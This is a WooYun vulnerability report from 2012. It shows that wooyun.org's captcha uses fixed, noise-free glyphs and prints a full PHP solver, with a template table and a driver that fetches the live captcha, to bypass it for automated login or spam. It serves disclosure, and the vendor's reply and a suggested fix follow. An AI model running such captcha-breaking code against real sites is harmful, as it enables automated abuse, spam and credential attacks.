2012-09-25: 细节已通知厂商并且等待厂商处理中 2012-09-25: 厂商已经确认,细节仅向厂商公开 2012-10-05: 细节向核心白帽子及相关领域专家公开 2012-10-15: 细节向普通白帽子公开 2012-10-25: 细节向实习白帽子公开 2012-11-09: 细节向公众公开
乌云官方网站验证码过于简单,用很简单的程序就可以识别出来
乌云官方网站验证码过于简单,用很简单的程序就可以识别出来,然后应该可以绕过验证码进行灌水,我只测试了绕过验证码自动登录。
特征:1.四个字符,2.基本无干扰素。3.字符的rgb特征分别为(255,255,255)或(0, 0, 0),根据此特征可识别字符。4.共涉及字母和数字22个,貌似没有0和O,1和I,可能是怕分不清楚。5.字符间距各1个像素,很固定。6.字符宽度8像素,高度10像素,很固定。7.图片上间距和左间距固定,各为4px和14px,固定不变。识别思路:1.二值化,根据字符的rgb特征分别为(255,255,255)或(0, 0, 0)的特征将字符像素变成1,其他为0.2.取字模,手机22个验证码字符的二进制字模。3.和乌云验证码对比,识别验证码。
<?php/*=============================================================================# FileName: get_word_from_imge.php# Desc: 简单的验证码识别程序# Author: l4yn3# HomePage: http://hi.baidu.com/l4yn3/# Version: 0.0.1# LastChange: 2012-09-25 18:46:32# 参考知识: http://blog.csdn.net/ugg/article/details/3953137=============================================================================*/define('WORD_WIDTH',8); //字符宽度define('WORD_HIGHT',10); //字符高度define('WORD_SPACING',1); //字符间距/** * 乌云官方验证码识别类 */class valite{ var $data; var $Keys; var $ImagePath; public function setImage($image) { $this->ImagePath = $image; } public function getHec() { global $sign; $num = ($sign == "black") ? 0 : 255 * 3; $res = imagecreatefrompng($this->ImagePath); $size = getimagesize($this->ImagePath); $data = array(); for($i = 0; $i < $size[1]; ++$i) { for($j=0; $j < $size[0]; ++$j) { $rgb = imagecolorat($res,$j,$i); $rgbarray = imagecolorsforindex($res, $rgb); if($rgbarray['red'] + $rgbarray['green'] + $rgbarray['blue'] !== $num) { $data[$i][$j] = 0; } else { $data[$i][$j] = 1; } } } $this->DataArray = $data; $this->ImageSize = $size; } public function run() { global $offset_x, $offset_y, $sign; $num = ($sign == "black") ? 0 : 255 * 3; //判断是黑色文字还是白色文字 $result=""; $data = array("","","",""); $res = imagecreatefrompng($this->ImagePath); $size = getimagesize($this->ImagePath); for($a = 1; $a <= 4; $a++) { $str = ''; for($i = $offset_y; $i < $offset_y + WORD_HIGHT; $i++) { for($j = $offset_x + ($a - 1) * WORD_WIDTH + ($a - 1) * WORD_SPACING; $j < $offset_x + WORD_WIDTH * $a + ($a - 1) * WORD_SPACING; $j++) { $rgb = imagecolorat($res, $j, $i); $rgb_arr = imagecolorsforindex($res, $rgb); $data[$a-1] .= $this->DataArray[$i][$j]; } } } // 进行关键字匹配 foreach($data as $numKey => $numString) { $max = 0.0; $num = 0; foreach($this->Keys as $key => $value) { $percent = 0.0; similar_text($value, $numString,$percent); //判断字符的相似度 if(intval($percent) > $max) { $max = $percent; $num = $key; if(intval($percent) == 100) break; } } $result.=$num; } $this->data = $result; return $result; } public function __construct() { /*识别出来的乌云验证码字模信息*/ $this->Keys = array( '0'=>'', '1'=>'', '2'=>'00111100011001101100001100000011000001100000110000011000001100000110000011111111', '3'=>'01111100110001100000001100000110000111000000011000000011000000111100011001111100', '4'=>'00000110000011100001111000110110011001101100011011111111000001100000011000000110', '5'=>'11111110110000001100000011011100111001100000001100000011110000110110011000111100', '6'=>'00111100011001101100001011000000110111001110011011000011110000110110011000111100', '7'=>'11111111000000110000001100000110000011000001100000110000011000001100000011000000', '8'=>'00111100011001101100001101100110001111000110011011000011110000110110011000111100', '9'=>'00111100011001101100001111000011011001110011101100000011010000110110011000111100', 'A'=>'00011000001111000110011011000011110000111100001111111111110000111100001111000011', 'B'=>'11111100110001101100001111000110111111001100011011000011110000111100011011111100', 'C'=>'00111110011000111100000111000000110000001100000011000000110000010110001100111110', 'D'=>'11111100110001101100001111000011110000111100001111000011110000111100011011111100', 'E'=>'11111110110000001100000011000000111111001100000011000000110000001100000011111110', 'F'=>'11111111110000001100000011000000111111001100000011000000110000001100000011000000', 'G'=>'00111110011000111100000011000000110000001100011111000011110000110110001100111110', 'H'=>'11000011110000111100001111000011111111111100001111000011110000111100001111000011', 'I'=>'', 'J'=>'00011110000001100000011000000110000001100000011000000110010001100110110000111000', 'K'=>'11000011110001101100110011011000111100001111000011011000110011001100011011000011', 'L'=>'11000000110000001100000011000000110000001100000011000000110000001100000011111110', 'M'=>'11000011111001111111111111011011110110111101101111000011110000111100001111000011', 'N'=>'11000011111000111111001111110011110110111101101111001111110001111100011111000011', 'O'=>'', 'P'=>'11111110110000111100001111000011111111101100000011000000110000001100000011000000', 'Q'=>'00111100011001101100001111000011110000111100001111011011110011110110011000111101', 'R'=>'11111110110000111100001111000011111111101111100011001100110001101100001111000011', 'S'=>'01111110110000111100000011000000011111100000001100000011000000111100001101111110', 'T'=>'11111111000110000001100000011000000110000001100000011000000110000001100000011000', 'U'=>'11000011110000111100001111000011110000111100001111000011110000110110011000111100', 'V'=>'11000011110000111100001101100110011001100110011000111100001111000001100000011000', 'W'=>'11000011110000111100001111000011110110111101101111011011111111111110011111000011', 'X'=>'11000011110000110110011000111100000110000001100000111100011001101100001111000011', 'Y'=>'11000011110000110110011000111100000110000001100000011000000110000001100000011000', 'Z'=>'11111110000001100000011000001100000110000011000001100000110000001100000011111110', ); }}/** * * 此函数用于获得字符特征值,即获取验证码的特征值 */function getOffSetX($img){ global $offset_x, $offset_y, $sign; $res = imagecreatefrompng($img); $size = getimagesize($img); for($a = 1; $a <= 4; $a++) { $str = ''; for($i = $offset_y; $i < $offset_y + WORD_HIGHT; $i++) { for($j = $offset_x + ($a - 1) * WORD_WIDTH + ($a - 1) * WORD_SPACING; $j < $offset_x + WORD_WIDTH * $a + ($a - 1) * WORD_SPACING; $j++) { $rgb = imagecolorat($res, $j, $i); $rgb_arr = imagecolorsforindex($res, $rgb); $num = ($sign == "black") ? 0 : 255 * 3; if($rgb_arr['red'] + $rgb_arr['green'] + $rgb_arr['blue'] != $num) { $str .= '0'; } else { $str .= '1'; } } } return $str; } return $str;}/** * 判断是黑色文字 还是白色文字 乌云两种颜色验证码,黑字和白字 */function checkBOrW($img){ $res = imagecreatefrompng($img); $size = getimagesize($img); $str = ""; for($i = 0; $i < $size[1]; $i++) { for($j = 0; $j < $size[0]; $j++) { $rgb = imagecolorat($res, $j, $i); $rgb_arr = imagecolorsforindex($res, $rgb); $str .= $rgb_arr["green"].$rgb_arr["red"].$rgb_arr["blue"]; } } if(preg_match("/(255){3}/", $str)) { return "white"; //白色文字 } else { return 'black'; //黑色文字 }}/** * 获取offset_x和offset_y */function getOffSet($img = ''){ global $sign; $num = ($sign == "black") ? 0 : 255 * 3; //判断是黑色文字还是白色文字 $res = imagecreatefrompng($img); $size = getimagesize($img); $offset_x = ''; $offset_y = ''; for($i = 1; $i < $size[0]; $i++) { for($j = 1; $j < $size[1]; $j++) { $rgb = imagecolorat($res, $i, $j); $rgb_arr = imagecolorsforindex($res, $rgb); if($rgb_arr['red'] + $rgb_arr['green'] + $rgb_arr['blue'] == $num) { $offset_x = $i; break; } } if($offset_x) { break; } } for($i = 1; $i < $size[1]; $i++) { for($j = 1; $j < $size[0]; $j++) { $rgb = imagecolorat($res, $j, $i); $rgb_arr = imagecolorsforindex($res, $rgb); if($rgb_arr['red'] + $rgb_arr['green'] + $rgb_arr['blue'] == $num) { $offset_y = $i; break; } } if($offset_y) { break; } } return array('offset_x'=>$offset_x, 'offset_y'=>$offset_y);}
<?phpinclude("get_word_from_imge.php");$img = "http://www.wooyun.org/captcha.php"; //验证码图片名称$content = get_remove_content($img);file_put_contents("hi.png", $content);$img = "hi.png";$sign = checkBOrW($img);$offset_arr = getOffSet($img);print_r($offset_arr);exit;extract($offset_arr);//getOffSetX($img); //获取特征值$valite = new valite();$valite->setImage($img);$valite->getHec();$result = $valite->run();echo $result;
使验证码不规则化,增加更复杂的干扰素,减少可识别固定特征(比如字符间距,文字距离图片间距)。其他各种干扰方式。
危害等级:低
漏洞Rank:2
确认时间:2012-09-25 19:32
非常感谢作者详细的提交,内容非常丰富,但是这个问题我们认为我们可能不会修复 :)
暂无